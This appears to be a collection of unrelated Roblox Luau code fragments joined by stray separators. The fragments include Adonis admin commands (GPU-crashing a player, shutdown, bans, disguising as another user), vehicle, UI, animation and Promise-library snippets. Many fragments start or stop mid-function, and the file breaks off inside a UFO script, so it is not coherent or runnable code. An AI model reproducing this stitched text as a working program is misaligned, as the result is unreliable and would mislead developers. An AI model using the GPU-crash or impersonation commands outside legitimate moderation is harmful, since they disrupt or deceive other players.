Commands = {"gpucrash"};
Args = {"player"};
Description = "GPU crashes the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
for _, v in service.GetPlayers(plr, args[1], {
IsKicking = true;
NoFakePlayer = false;
})
do
if Admin.CheckAuthority(plr, v, "GPU-crash") then
Remote.Send(v, "Function", "GPUCrash")
end
end
end
};
Shutdown = {
Prefix = Settings.Prefix;
Commands = {"shutdown"};
Args = {"reason"};
Description = "Shuts the server down";
Filter = true;
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
if Core.DataStore then
Core.UpdateData("ShutdownLogs", function(logs)
table.insert(logs, 1, {
User = plr and plr.Name or "[Server]",
Time = os.time(),
Reason = args[1] or "N/A"
})
local nlogs = #logs
if nlogs > 1000 then
table.remove(logs, nlogs)
end
return logs
end)
end
Functions.Shutdown(args[1])
end
};
ServerBan = {
Prefix = Settings.Prefix;
Commands = {"serverban", "ban"};
Args = {"player/user", "reason"};
Description = "Bans the target player(s) from the server";
AdminLevel = "Admins";
Filter = true;
Function = function(plr: Player, args: {string}, data: {any})
local reason = args[2] or "No reason provided"
for _, v in service.GetPlayers(plr, args[1], {
IsKicking = true;
NoFakePlayer = false;
})
do
if Admin.CheckAuthority(plr, v, "server-ban", false) then
Admin.AddBan(v, reason, false, plr)
Functions.Hint(`Server-banned {service.FormatPlayer(v, true)}`, {plr})
end
end
end
};
UnBan = {
Prefix = Settings.Prefix;
Commands = {"unserverban", "unban"};
Args = {"user"};
Description = "Unbans the target user(s) from the server";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[1], "Missing user (argument #1)")
for _, v in service.GetPlayers(plr, args[1], {
UseFakePlayer = true;
})
do
if Admin.RemoveBan(v.Name) then
Functions.Hint(`{service.FormatPlayer(v, true)} has been unbanned`, {plr})
else
Functions.Hint(`{service.FormatPlayer(v, true)} is not currently banned`, {plr})
end
end
end
};
TrelloBan = {
Prefix = Settings.Prefix;
Commands = {"trelloban"};
Args = {"player/user", "reason"};
Description = "Adds a user to the Trello ban list (Trello needs to be configured)";
Filter = true;
CrossServerDenied = true;
TrelloRequired = true;
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
local trello = HTTP.Trello.API
if not Settings.Trello_Enabled or trello == nil then return Functions.Hint('Trello has not been configured in settings', {plr}) end
local lists = trello.getLists(Settings.Trello_Primary)
local list = trello.getListObj(lists, {"Banlist", "Ban List", "Bans"})
local level = data.PlayerData.Level
local reason = string.format("Administrator: %s\nReason: %s", service.FormatPlayer(plr), (args[2] or "N/A"))
for _, v in service.GetPlayers(plr, args[1], {
IsKicking = true;
NoFakePlayer = false;
})
do
if level > Admin.GetLevel(v) then
trello.makeCard(
list.id,
string.format("%s:%d", (v and tostring(v.Name) or tostring(v)), v.UserId),
reason
)
pcall(function() v:Kick(reason) end)
Remote.MakeGui(plr, "Notification", {
Title = "Notification";
Icon = server.MatIcons.Gavel;
Message = `Trello-banned {service.FormatPlayer(v, true)}`;
Time = 5;
})
end
end
HTTP.Trello.Update()
end;
};
CustomMessage = {
Prefix = Settings.Prefix;
Commands = {"cm", "custommessage"};
Args = {"Upper message", "message"};
Filter = true;
Description = "Same as message but says whatever you want upper message to be instead of your name.";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[1], "Missing message title (argument #1)")
assert(args[2], "Missing message (argument #2)")
for _, v in service.Players:GetPlayers() do
Remote.RemoveGui(v, "Message")
Remote.MakeGui(v, "Message", {
Title = args[1];
Message = args[2];
Time = (#tostring(args[1]) / 19) + 2.5;
--service.Filter(args[1],plr, v);
})
end
end
};
Nil = {
Prefix = Settings.Prefix;
Commands = {"nil"};
Args = {"player"};
Hidden = true;
Description = "Sends the target player(s) to nil, where they will not show up on the player list and not normally be able to interact with the game";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr, args[1]) do
v.Character = nil
v.Parent = nil
Functions.Hint(`Sent {service.FormatPlayer(v)} to nil`, {plr})
end
end
};
PromptPremiumPurchase = {
Prefix = Settings.Prefix;
Commands = {"promptpremiumpurchase", "premiumpurchaseprompt"};
Args = {"player"};
Description = "Opens the Roblox Premium purchase prompt for the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr, args[1]) do
service.MarketplaceService:PromptPremiumPurchase(v)
end
end
};
RobloxNotify = {
Prefix = Settings.Prefix;
Commands = {"rbxnotify", "robloxnotify", "robloxnotif", "rblxnotify", "rnotif", "rn"};
Args = {"player", "duration (seconds)", "text"};
Filter = true;
Description = "Sends a Roblox-styled notification for the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr, args[1]) do
Remote.Send(v, "Function", "SetCore", "SendNotification", {
Title = "Notification";
Text = args[3] or "Hello, from Adonis!";
Duration = tonumber(args[2]) or 5;
})
end
end
};
Disguise = {
Prefix = Settings.Prefix;
Commands = {"disguise", "masquerade"};
Args = {"player", "username"};
Description = "Names the player, chars the player, and modifies the player's chat tag";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[2], "Argument missing or nil")
local userId = Functions.GetUserIdFromNameAsync(args[2])
assert(userId, "Invalid username supplied/user not found")
local username = select(2, xpcall(function()
return service.Players:GetNameFromUserIdAsync(userId)
end, function() return args[2] end))
if service.Players:GetPlayerByUserId(userId) then
error("You cannot disguise as this player (currently in server)")
end
Commands.Char.Function(plr, args)
Commands.DisplayName.Function(plr, {args[1], username})
local ChatService = Functions.GetChatService()
for _, v in service.GetPlayers(plr, args[1]) do
if Variables.DisguiseBindings[v.UserId] then
Variables.DisguiseBindings[v.UserId].Rename:Disconnect()
Variables.DisguiseBindings[v.UserId].Rename = nil
if ChatService then
ChatService:RemoveSpeaker(Variables.DisguiseBindings[v.UserId].TargetUsername)
ChatService:UnregisterProcessCommandsFunction(`Disguise_{v.Name}`)
end
end
Variables.DisguiseBindings[v.UserId] = {
TargetUsername = username;
Rename = v.CharacterAppearanceLoaded:Connect(function(char)
Commands.DisplayName.Function(v, {v.Name, username})
end);
}
if ChatService then
local disguiseSpeaker = ChatService:AddSpeaker(username)
disguiseSpeaker:JoinChannel("All")
ChatService:RegisterProcessCommandsFunction(`Disguise_{v.Name}`, function(speaker, message, channelName)
if speaker == v.Name then
local filteredMessage = select(2, xpcall(function()
return service.TextService:FilterStringAsync(message, v.UserId, Enum.TextFilterContext.PrivateChat):GetChatForUserAsync(v.UserId)
end, function()
Remote.Send(v, "Function", "ChatMessage", "A message filtering error occurred.", Color3.new(1, 64/255, 77/255))
return
end))
if filteredMessage and not server.Admin.DoHideChatCmd(v, message) then
disguiseSpeaker:SayMessage(filteredMessage, channelName)
if v.Character then
service.Chat:Chat(v.Character, filteredMessage, Enum.ChatColor.White)
end
end
return true
end
return false
end)
end
end
end
};
UnDisguise = {
Prefix = Settings.Prefix;
Commands = {"undisguise", "removedisguise", "cleardisguise", "nodisguise"};
Args = {"player"};
Description = "Removes the player's disguise";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local ChatService = Functions.GetChatService()
for _, v in service.GetPlayers(plr, args[1]) do
if Variables.DisguiseBindings[v.UserId] then
Variables.DisguiseBindings[v.UserId].Rename:Disconnect()
Variables.DisguiseBindings[v.UserId].Rename = nil
pcall(function()
ChatService:RemoveSpeaker(Variables.DisguiseBindings[v.UserId].TargetUsername)
ChatService:UnregisterProcessCommandsFunction(`Disguise_{v.Name}`)
end)
end
Variables.DisguiseBindings[v.UserId] = nil
end
Commands.UnChar.Function(plr, args)
Commands.UnDisplayName.Function(plr, args)
end
};
IncognitoPlayerList = {
Prefix = Settings.Prefix;
Commands = {"incognitolist", "incognitoplayers"};
Args = {"autoupdate? (default: true)"};
Description = "Displays a list of incognito players in the server";
AdminLevel = "Admins";
Hidden = true;
ListUpdater = function(plr: Player)
local tab = {}
for p: Player, t: number in Variables.IncognitoPlayers do
if p.Parent == service.Players then
table.insert(tab, {
Text = service.FormatPlayer(p);
Desc = string.format("ID: %d | Went incognito at: %s", p.UserId, service.FormatTime(t));
})
end
end
return tab
end;
Function = function(plr: Player, args: {string})
local autoUpdate = string.lower(args[1])
Remote.RemoveGui(plr, "IncognitoPlayerList")
Remote.MakeGui(plr, "List", {
Name = "IncognitoPlayerList";
Title = "Incognito Players";
Icon = server.MatIcons["Admin panel settings"];
Tab = Logs.ListUpdaters.IncognitoPlayerList(plr);
Update = "IncognitoPlayerList";
AutoUpdate = if not args[1] or (autoUpdate == "true" or autoUpdate == "yes") then 1 else nil;
})
end
};
}
end
|
--LogMessage = game.ReplicatedStorage.ClientStorage.Console.LogMessage |
MapIdInput = script.Parent.MapIDInput
LoadMapButton = script.Parent.LoadMapButton
IsDoingSomething = false
function OnLoadRequested()
if not IsDoingSomething then
IsDoingSomething = true
local success, msgs = LoadMapIDRemote:InvokeServer(MapIdInput.Text)
LoadMapButton.BorderColor3 = success and Color3.new(0, 1, 0) or Color3.new(1, 0, 0)
LoadMapButton.TextColor3 = LoadMapButton.BorderColor3
if success then
MapIdInput.Text = ""
end
wait(1)
LoadMapButton.BorderColor3 = Color3.new(0,0,0)
LoadMapButton.TextColor3 = Color3.new(1, 1, 1)
IsDoingSomething = false
end
end
LoadMapButton.MouseButton1Click:Connect(OnLoadRequested)
MapIdInput.FocusLost:Connect(function(enterPressed)
if enterPressed then
OnLoadRequested()
end
end)
script.Parent.Visible = GameLib.HasControlPrivileges(Player)
|
-- In radian the maximum accuracy penalty |
local MaxSpread = 0.06 |
--[=[
Accepts an array of Promises and returns a new Promise that resolves with an array of in-place Statuses when all input Promises have settled. This is equivalent to mapping `promise:finally` over the array of Promises.
```lua
local promises = {
returnsAPromise("example 1"),
returnsAPromise("example 2"),
returnsAPromise("example 3"),
}
return Promise.allSettled(promises)
```
@param promises {Promise<T>}
@return Promise<{Status}>
]=] |
function Promise.allSettled(promises)
if type(promises) ~= "table" then
error(string.format(ERROR_NON_LIST, "Promise.allSettled"), 2)
end
-- We need to check that each value is a promise here so that we can produce
-- a proper error rather than a rejected promise with our error.
for i, promise in pairs(promises) do
if not Promise.is(promise) then
error(string.format(ERROR_NON_PROMISE_IN_LIST, "Promise.allSettled", tostring(i)), 2)
end
end
-- If there are no values then return an already resolved promise.
if #promises == 0 then
return Promise.resolve({})
end
return Promise._new(debug.traceback(nil, 2), function(resolve, _, onCancel)
-- An array to contain our resolved values from the given promises.
local fates = {}
local newPromises = {}
-- Keep a count of resolved promises because just checking the resolved
-- values length wouldn't account for promises that resolve with nil.
local finishedCount = 0
-- Called when a single value is resolved and resolves if all are done.
local function resolveOne(i, ...)
finishedCount = finishedCount + 1
fates[i] = ...
if finishedCount >= #promises then
resolve(fates)
end
end
onCancel(function()
for _, promise in ipairs(newPromises) do
promise:cancel()
end
end)
-- We can assume the values inside `promises` are all promises since we
-- checked above.
for i, promise in ipairs(promises) do
newPromises[i] = promise:finally(
function(...)
resolveOne(i, ...)
end
)
end
end)
end
|
--local bodyPosition = Instance.new("BodyPosition", car.Chassis)
--bodyPosition.MaxForce = Vector3.new()
--local bodyGyro = Instance.new("BodyGyro", car.Chassis)
--bodyGyro.MaxTorque = Vector3.new() |
local function UpdateThruster(thruster)
-- Raycasting
local hit, position = Raycast.new(thruster.Position, thruster.CFrame:vectorToWorldSpace(Vector3.new(0, -1, 0)) * stats.Height.Value) --game.Workspace:FindPartOnRay(ray, car)
local thrusterHeight = (position - thruster.Position).magnitude
-- Wheel
local wheelWeld = thruster:FindFirstChild("WheelWeld")
wheelWeld.C0 = CFrame.new(0, -math.min(thrusterHeight, stats.Height.Value * 0.8) + (wheelWeld.Part1.Size.Y / 2), 0)
-- Wheel turning
local offset = car.Chassis.CFrame:inverse() * thruster.CFrame
local speed = car.Chassis.CFrame:vectorToObjectSpace(car.Chassis.Velocity)
if offset.Z < 0 then
local direction = 1
if speed.Z > 0 then
direction = -1
end
wheelWeld.C0 = wheelWeld.C0 * CFrame.Angles(0, (car.Chassis.RotVelocity.Y / 2) * direction, 0)
end
-- Particles
if hit and thruster.Velocity.magnitude >= 5 then
wheelWeld.Part1.ParticleEmitter.Enabled = true
else
wheelWeld.Part1.ParticleEmitter.Enabled = false
end
end
car.DriveSeat.Changed:connect(function(property)
if property == "Occupant" then
if car.DriveSeat.Occupant then
car.EngineBlock.Running.Pitch = 1
car.EngineBlock.Running:Play()
local player = game.Players:GetPlayerFromCharacter(car.DriveSeat.Occupant.Parent)
if player then
car.DriveSeat:SetNetworkOwner(player)
local localCarScript = script.LocalCarScript:Clone()
localCarScript.Parent = player.PlayerGui
localCarScript.Car.Value = car
localCarScript.Disabled = false
end
else
car.DriveSeat:SetNetworkOwnershipAuto()
car.EngineBlock.Running:Stop()
end
end
end)
|
-- if version.Value ~= current_version then
-- update_notifier.Visible = true
-- script.Parent.ErrorSound:Play()
-- end
--end | |
--[[
Helper function that should only be used in tests for the Grid component.
]] |
local Roact = require(script.Parent.Parent.Parent.Parent.Roact)
local ITEM_HEIGHT = 100 -- px
local COLORS = {
Color3.fromRGB(255, 0, 0),
Color3.fromRGB(0, 255, 0),
Color3.fromRGB(0, 0, 255),
Color3.fromRGB(255, 255, 0),
Color3.fromRGB(255, 0, 255),
Color3.fromRGB(0, 255, 255),
}
local function getNextColor(index: number): Color3
while index > #COLORS do
index = index - #COLORS
end
return COLORS[index]
end
local function createGridItems(numItems: number): { any }
local items = {}
for i = 1, numItems do
table.insert(
items,
Roact.createElement("Frame", {
Size = UDim2.new(1, 0, 0, ITEM_HEIGHT),
BackgroundColor3 = getNextColor(i),
})
)
end
return items
end
return createGridItems
|
--New R6 stuff |
local Humanoid = Character:WaitForChild("Humanoid")
local HumanoidRootPart = Character:WaitForChild("HumanoidRootPart")
local Torso = Character:WaitForChild("Torso")
local Neck = Torso:WaitForChild("Neck")
local Waist = HumanoidRootPart:WaitForChild("RootJoint")
local RHip = Torso:WaitForChild("Right Hip")
local LHip = Torso:WaitForChild("Left Hip")
local LHipOriginC0 = LHip.C0
local RHipOriginC0 = RHip.C0
local NeckOriginC0 = Neck.C0
local WaistOriginC0 = Waist.C0
Neck.MaxVelocity = 1/3
RunService.RenderStepped:Connect(function()
local CameraCFrame = Camera.CoordinateFrame
if Character:FindFirstChild("Torso") and Character:FindFirstChild("Head") then
local TorsoLookVector = Torso.CFrame.lookVector
local HeadPosition = Head.CFrame.p
if Neck and Waist then
if Camera.CameraSubject:IsDescendantOf(Character) or Camera.CameraSubject:IsDescendantOf(Player) then
local Point = PlayerMouse.Hit.p
local Distance = (Head.CFrame.p - Point).magnitude
local Difference = Head.CFrame.Y - Point.Y
local goalNeckCFrame = CFrame.Angles(-(math.atan(Difference / Distance) * 0.5), (((HeadPosition - Point).Unit):Cross(TorsoLookVector)).Y * 1, 0)
Neck.C0 = Neck.C0:lerp(goalNeckCFrame*NeckOriginC0, 0.5 / 2).Rotation + NeckOriginC0.Position
local xAxisWaistRotation = -(math.atan(Difference / Distance) * 0.5)
local yAxisWaistRotation = (((HeadPosition - Point).Unit):Cross(TorsoLookVector)).Y * 0.5
local rotationWaistCFrame = CFrame.Angles(xAxisWaistRotation, yAxisWaistRotation, 0)
local goalWaistCFrame = rotationWaistCFrame*WaistOriginC0
Waist.C0 = Waist.C0:lerp(goalWaistCFrame, 0.5 / 2).Rotation + WaistOriginC0.Position
local currentLegCounterCFrame = Waist.C0*WaistOriginC0:Inverse()
local legsCounterCFrame = currentLegCounterCFrame:Inverse()
RHip.C0 = legsCounterCFrame*RHipOriginC0
LHip.C0 = legsCounterCFrame*LHipOriginC0
end
end
end
end)
|
-- ROBLOX deviation START: pre declare invariant function |
local invariant |
------------------------------------------------------------
--\Doors Update
------------------------------------------------------------ |
local DoorsFolder = ACS_Storage:FindFirstChild("Doors")
local CAS = game:GetService("ContextActionService")
local mDistance = 5
local Key = nil
function getNearest()
local nearest = nil
local minDistance = mDistance
local Character = Player.Character or Player.CharacterAdded:Wait()
for I,Door in pairs (DoorsFolder:GetChildren()) do
if Door.Door:FindFirstChild("Knob") ~= nil then
local distance = (Door.Door.Knob.Position - Character.Torso.Position).magnitude
if distance < minDistance then
nearest = Door
minDistance = distance
end
end
end
--print(nearest)
return nearest
end
function Interact(actionName, inputState, inputObj)
if inputState ~= Enum.UserInputState.Begin then return end
local nearestDoor = getNearest()
local Character = Player.Character or Player.CharacterAdded:Wait()
if nearestDoor == nil then return end
if (nearestDoor.Door.Knob.Position - Character.Torso.Position).magnitude <= mDistance then
if nearestDoor ~= nil then
if nearestDoor:FindFirstChild("RequiresKey") then
Key = nearestDoor.RequiresKey.Value
else
Key = nil
end
Evt.DoorEvent:FireServer(nearestDoor,1,Key)
end
end
end
function GetNearest(parts, maxDistance,Part)
local closestPart
local minDistance = maxDistance
for _, partToFace in ipairs(parts) do
local distance = (Part.Position - partToFace.Position).magnitude
if distance < minDistance then
closestPart = partToFace
minDistance = distance
end
end
return closestPart
end
CAS:BindAction("Interact", Interact, false, Enum.KeyCode.G)
Evt.Rappel.PlaceEvent.OnClientEvent:Connect(function(Parte)
local Alinhar = Instance.new('AlignOrientation')
Alinhar.Parent = Parte
Alinhar.PrimaryAxisOnly = true
Alinhar.RigidityEnabled = true
Alinhar.Attachment0 = Character.HumanoidRootPart.RootAttachment
Alinhar.Attachment1 = Camera.BasePart.Attachment
end)
print("ACS 1.7.6")
|
--repeat wait(1) until
--_G.SD[player.UserId].Data.and _G.SD[player.UserId].Data.spell | |
--local open = workspace.HeladeriaBeach.openPart --RestauranteUDL: Cambiar por nombre Modelo donde están las partes que abren o cierran GUI
--local close = workspace.HeladeriaBeach.closePart --RestauranteUDL: Cambiar por nombre Modelo donde están las partes que abren o cierran GUI |
local frame = script.Parent
local closeButton = frame.closeButton
local buy_1 = frame.buy1
local buy_2 = frame.buy2
local buy_3 = frame.buy3
local buy_4 = frame.buy4
local ReplicatedStorage = game:GetService('ReplicatedStorage')
local remoteEvent = ReplicatedStorage:WaitForChild('BuyTool')
frame.Visible = false
|
--[[
Determines which paid emotes the user owns and returns them through the
provided callback
Parameters:
player - the player used to check ownership
callback - the function to call once all paid emotes have been checked
]] |
function EmoteManager:getOwnedEmotesAsync(player, callback)
local ownedEmotes = {}
local numComplete = 0
local numEmotes = 0
-- Since paidEmotes is a dictionary, we have to loop over it to count the items
for _ in pairs(paidEmotes) do
numEmotes = numEmotes + 1
end
for emoteName, emoteInfo in pairs(paidEmotes) do
task.spawn(function()
local success, ownsEmote = pcall(function()
return self.MarketplaceService:PlayerOwnsAsset(player, emoteInfo.emote)
end)
if success then
if ownsEmote then
ownedEmotes[emoteName] = emoteInfo
end
else
warn("Error getting asset ownership for", emoteInfo.emote)
end
numComplete = numComplete + 1
if numComplete == numEmotes then
callback(ownedEmotes)
end
end)
end
end
|
--[[
Constructs and returns a new instance, with options for setting properties,
event handlers and other attributes on the instance right away.
]] |
local Package = script.Parent.Parent
local Types = require(Package.Types)
local cleanupOnDestroy = require(Package.Utility.cleanupOnDestroy)
local Children = require(Package.Instances.Children)
local Scheduler = require(Package.Instances.Scheduler)
local defaultProps = require(Package.Instances.defaultProps)
local Compat = require(Package.State.Compat)
local logError = require(Package.Logging.logError)
local logWarn = require(Package.Logging.logWarn)
local WEAK_KEYS_METATABLE = {__mode = "k"}
local ENABLE_EXPERIMENTAL_GC_MODE = false
|
-------------------------------------------------------- |
function DeleteIdlePlane() --This deletes any planes that aren't currently being used
for _,v in pairs(Planekit:GetChildren()) do
if v.Name == "Plane" then
v:Destroy()
end
end
end
function RegenMain() --This function regens the plane
local PlaneClone2 = PlaneClone:clone()
PlaneClone2.Parent = Planekit
PlaneClone2.Origin.Value = Planekit
PlaneClone2:MakeJoints()
return PlaneClone2
end
function RegeneratePlane(Part) --This is the main regenerating function
local Player = game.Players:GetPlayerFromCharacter(Part.Parent) --This gets the player that touched it
if Player then
local Humanoid = Player.Character:FindFirstChild("Humanoid")
if Humanoid.Health ~= 0 then
if Active then
Active = false
DeleteIdlePlane() --This activates the "DeleteIdlePlane" function
for i = 0,1,0.2 do --This makes the button transparent
Main.Transparency = i
wait()
end
if RegenTime >= 1 then
RegenGui.Parent = Player.PlayerGui --The regengui will be put into the player if the regentime is more than 1
end
wait(RegenTime)
RegenGui.Parent = script --This puts the gui back in the script
local PlaneClone2 = RegenMain()
if EnterOnSpawn.Value then --If the EnterOnSpawn value is true...
coroutine.resume(coroutine.create(function()
repeat wait() until PlaneClone2.Welded.Value
while true do
if PlaneClone2.Welded.Value
or Humanoid.Health == 0 then
break
end
wait()
end
onPlaneWelded(Player,PlaneClone2) --This activates the "onPlaneWelded" function whenever the welded value changes
end))
end
wait(WaitTime)
for i = 1,0,-0.2 do --This makes the button visible
Main.Transparency = i
wait()
end
Active = true
end
end
end
end
function onPlaneWelded(Player,Plane) --This function put you into the plane seat the moment the plane is welded
if Plane and Player then --This checks to make sure there is a plane and a player
if Player.Character:FindFirstChild("Torso") then
if Player.Character.Humanoid.Health ~= 0 then
Player.Character.Torso.CFrame = Plane.MainParts.Seat.CFrame
end
end
end
end
Main.Touched:connect(RegeneratePlane) --This activates the "RegeneratePlane" function when the Main brick is touched
|
-- Support legacy Primer support on internal FB www |
exports.enableLegacyFBSupport = true
|
--Make a collision group for all players' characters |
PhysicsService:CreateCollisionGroup(GroupName)
|
-- Server-exposed signals/fields: |
PointsService.PointsPerPlayer = {}
PointsService.PointsChanged = Signal.new()
|
-- Initialization |
local lastActivePath = {}
if game.Workspace:FindFirstChild("BasePlate") then
game.Workspace.BasePlate:Destroy()
end
local tracksModel = Instance.new("Model")
tracksModel.Name = "Tracks"
tracksModel.Parent = game.Workspace
function packagePathModels()
local pathPackager = require(script.PathPackager)
while true do
local pathBase = game.Workspace:FindFirstChild("PathBase", true)
if pathBase then
pathPackager:PackageRoom(pathBase)
else
break
end
end
end
coroutine.wrap(function() packagePathModels() end)()
|
-- Variables |
local player = game.Players.LocalPlayer -- Local player
local humanoid = player.Character:WaitForChild("Humanoid") -- Player's humanoid
local userInputService = game:GetService("UserInputService") -- UserInputService
|
--Made by Luckymaxer |
Seat = script.Parent
Model = Seat.Parent
Engine = Model:WaitForChild("Engine")
BeamPart = Model:WaitForChild("BeamPart")
Lights = Model:WaitForChild("Lights")
Seats = Model:WaitForChild("Seats")
Sounds = {
Flying = Engine:WaitForChild("UFO_Flying"),
Beam = Engine:WaitForChild("UFO_Beam"),
Idle = Engine:WaitForChild("UFO_Idle"),
TakingOff = Engine:WaitForChild("UFO_Taking_Off")
}
Players = game:GetService("Players")
Debris = game:GetService("Debris")
BeamSize = 50
CurrentBeamSize = 0
MaxVelocity = 40
MinVelocity = -40
MaxSideVelocity = 40
MinSideVelocity = -40
Acceleration = 2
Deceleration = 2
AutoDeceleration = 2
SideAcceleration = 2
SideDeceleration = 2
AutoSideDeceleration = 2
LiftOffSpeed = 5
LiftSpeed = 10
LowerSpeed = -10
Velocity = Vector3.new(0, 0, 0)
SideVelocity = 0
FlipForce = 1000000
InUse = false
PlayerUsing = nil
PlayerControlScript = nil
PlayerConnection = nil
BeamActive = false
TakingOff = false
LightsEnabled = false
Enabled = false
Controls = {
Forward = {Key = "W", Byte = 17, Mode = false},
Backward = {Key = "S", Byte = 18, Mode = false},
Left = {Key = "A", Byte = 20, Mode = false},
Right = {Key = "D", Byte = 19, Mode = false},
Up = {Key = "Q", Byte = 113, Mode = false},
Down = {Key = "E", Byte = 101, Mode = false},
}
ControlScript = script:WaitForChild("ControlScript")
Beam = Instance.new("Part")
Beam.Name = "Beam"
Beam.Transparency = 0.3
Beam.BrickColor = BrickColor.new("Pastel Blue")
Beam.Material = Enum.Material.Plastic
Beam.Shape = Enum.PartType.Block
Beam.TopSurface = Enum.SurfaceType.Smooth
Beam.BottomSurface = Enum.SurfaceType.Smooth
Beam.FormFactor = Enum.FormFactor.Custom
Beam.Size = Vector3.new(BeamPart.Size.X, 0.2, BeamPart.Size.Z)
Beam.Anchored = false
Beam.CanCollide = false
BeamMesh = Instance.new("CylinderMesh")
BeamMesh.Parent = Beam
for i, v in pairs(Sounds) do
v:Stop()
end
RemoteConnection = script:FindFirstChild("RemoteConnection")
if not RemoteConnection then
RemoteConnection = Instance.new("RemoteFunction")
RemoteConnection.Name = "RemoteConnection"
RemoteConnection.Parent = script
end
BodyGyro = Engine:FindFirstChild("BodyGyro")
if not BodyGyro then
BodyGyro = Instance.new("BodyGyro")
BodyGyro.Parent = Engine
end
BodyGyro.maxTorque = Vector3.new(0, 0, 0)
BodyGyro.D = 7500
BodyGyro.P = 10000
BodyPosition = Engine:FindFirstChild("BodyPosition")
if not BodyPosition then
BodyPosition = Instance.new("BodyPosition")
BodyPosition.Parent = Engine
end
BodyPosition.maxForce = Vector3.new(0, 0, 0)
BodyPosition.D = 10000
BodyPosition.P = 50000
BodyVelocity = Engine:FindFirstChild("BodyVelocity")
if not BodyVelocity then
BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.Parent = Engine
end
BodyVelocity.velocity = Vector3.new(0, 0, 0)
BodyVelocity.maxForce = Vector3.new(0, 0, 0)
BodyVelocity.P = 10000
FlipGyro = BeamPart:FindFirstChild("FlipGyro")
if not FlipGyro then
FlipGyro = Instance.new("BodyGyro")
FlipGyro.Name = "FlipGyro"
FlipGyro.Parent = BeamPart
end
FlipGyro.maxTorque = Vector3.new(0, 0, 0)
FlipGyro.D = 500
FlipGyro.P = 3000
RiseVelocity = BeamPart:FindFirstChild("RiseVelocity")
if not RiseVelocity then
RiseVelocity = Instance.new("BodyVelocity")
RiseVelocity.Name = "RiseVelocity"
RiseVelocity.Parent = BeamPart
end
RiseVelocity.velocity = Vector3.new(0, 0, 0)
RiseVelocity.maxForce = Vector3.new(0, 0, 0)
RiseVelocity.P = 10000
function RayCast(Position, Direction, MaxDistance, IgnoreList)
return game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(Position, Direction.unit * (MaxDistance or 999.999)), IgnoreList)
end
function ToggleLights()
for i, v in pairs(Lights:GetChildren()) do
if v:IsA("BasePart") then
for ii, vv in pairs(v:GetChildren()) do
if vv:IsA("Light") then
vv.Enabled = LightsEnabled
end
end
end
end
end
ToggleLights()
function CheckTable(Table, Instance)
for i, v in pairs(Table) do
if v == Instance then
return true
end
end
return false
end
function RandomizeTable(Table)
local TableCopy = {}
for i = 1, #Table do
local Index = math.random(1, #Table)
table.insert(TableCopy, Table[Index])
table.remove(Table, Index)
end
return TableCopy
end
for i, v in pairs(Model:GetChildren()) do
if v:IsA("BasePart") and v.Name == "Beam" then
v:Destroy()
end
end
function GetPartsInBeam(beam)
local IgnoreObjects = {(((PlayerUsing and PlayerUsing.Character) and PlayerUsing.Character) or nil), Model}
local NegativePartRadius = Vector3.new((beam.Size.X / 2), ((CurrentBeamSize / 5) / 2), (beam.Size.Z / 2))
local PositivePartRadius = Vector3.new((beam.Size.X / 2), ((CurrentBeamSize / 5) / 2), (beam.Size.Z / 2))
local Parts = game:GetService("Workspace"):FindPartsInRegion3WithIgnoreList(Region3.new(beam.Position - NegativePartRadius, beam.Position + PositivePartRadius), IgnoreObjects, 100)
local Humanoids = {}
local Torsos = {}
for i, v in pairs(Parts) do
if v and v.Parent then
local humanoid = v.Parent:FindFirstChild("Humanoid")
local torso = v.Parent:FindFirstChild("Torso")
local player = Players:GetPlayerFromCharacter(v.Parent)
if player and humanoid and humanoid.Health > 0 and torso and not CheckTable(Humanoids, humanoid) then
table.insert(Humanoids, humanoid)
table.insert(Torsos, {Humanoid = humanoid, Torso = torso})
end
end
end
return Torsos
end
RemoteConnection.OnServerInvoke = (function(Player, Script, Action, Value)
if Script and Script ~= PlayerControlScript then
Script.Disabled = true
Script:Destroy()
else
if Action == "KeyDown" then
if Value == "l" then
LightsEnabled = not LightsEnabled
ToggleLights()
elseif Value == "t" then
if TemporaryBeam and TemporaryBeam.Parent then
local Torsos = GetPartsInBeam(TemporaryBeam)
local TorsosUsed = {}
Torsos = RandomizeTable(Torsos)
for i, v in pairs(Seats:GetChildren()) do
if v:IsA("Seat") and not v:FindFirstChild("SeatWeld") then
for ii, vv in pairs(Torsos) do
if vv.Humanoid and vv.Humanoid.Parent and vv.Humanoid.Health > 0 and not vv.Humanoid.Sit and vv.Torso and vv.Torso.Parent and not CheckTable(TorsosUsed, vv.Torso) then
table.insert(TorsosUsed, vv.Torso)
vv.Torso.CFrame = v.CFrame
break
end
end
end
end
end
end
if not TakingOff then
for i, v in pairs(Controls) do
if string.lower(v.Key) == string.lower(Value) or v.Byte == string.byte(Value) then
v.Mode = true
end
end
if Controls.Up.Mode or Controls.Down.Mode then
RiseVelocity.maxForce = Vector3.new(0, 1000000, 0)
end
if Controls.Forward.Mode or Controls.Backward.Mode or Controls.Left.Mode or Controls.Right.Mode or Controls.Up.Mode or Controls.Down.Mode then
Sounds.Idle:Stop()
Sounds.Flying:Play()
end
end
elseif Action == "KeyUp" then
if not TakingOff then
for i, v in pairs(Controls) do
if string.lower(v.Key) == string.lower(Value) or v.Byte == string.byte(Value) then
v.Mode = false
end
end
if not Controls.Up.Mode and not Controls.Down.Mode then
BodyPosition.position = Engine.Position
BodyPosition.maxForce = Vector3.new(0, 100000000, 0)
RiseVelocity.maxForce = Vector3.new(0, 0, 0)
RiseVelocity.velocity = Vector3.new(0, 0, 0)
end
if not Controls.Forward.Mode and not Controls.Backward.Mode and not Controls.Left.Mode and not Controls.Right.Mode and not Controls.Up.Mode and not Controls.Down.Mode then
Sounds.Flying:Stop()
Sounds.Idle:Play()
end
end
elseif Action == "Button1Down" then
if not BeamActive and not TakingOff then
BeamActive = true
if TemporaryBeam and TemporaryBeam.Parent then
TemporaryBeam:Destroy()
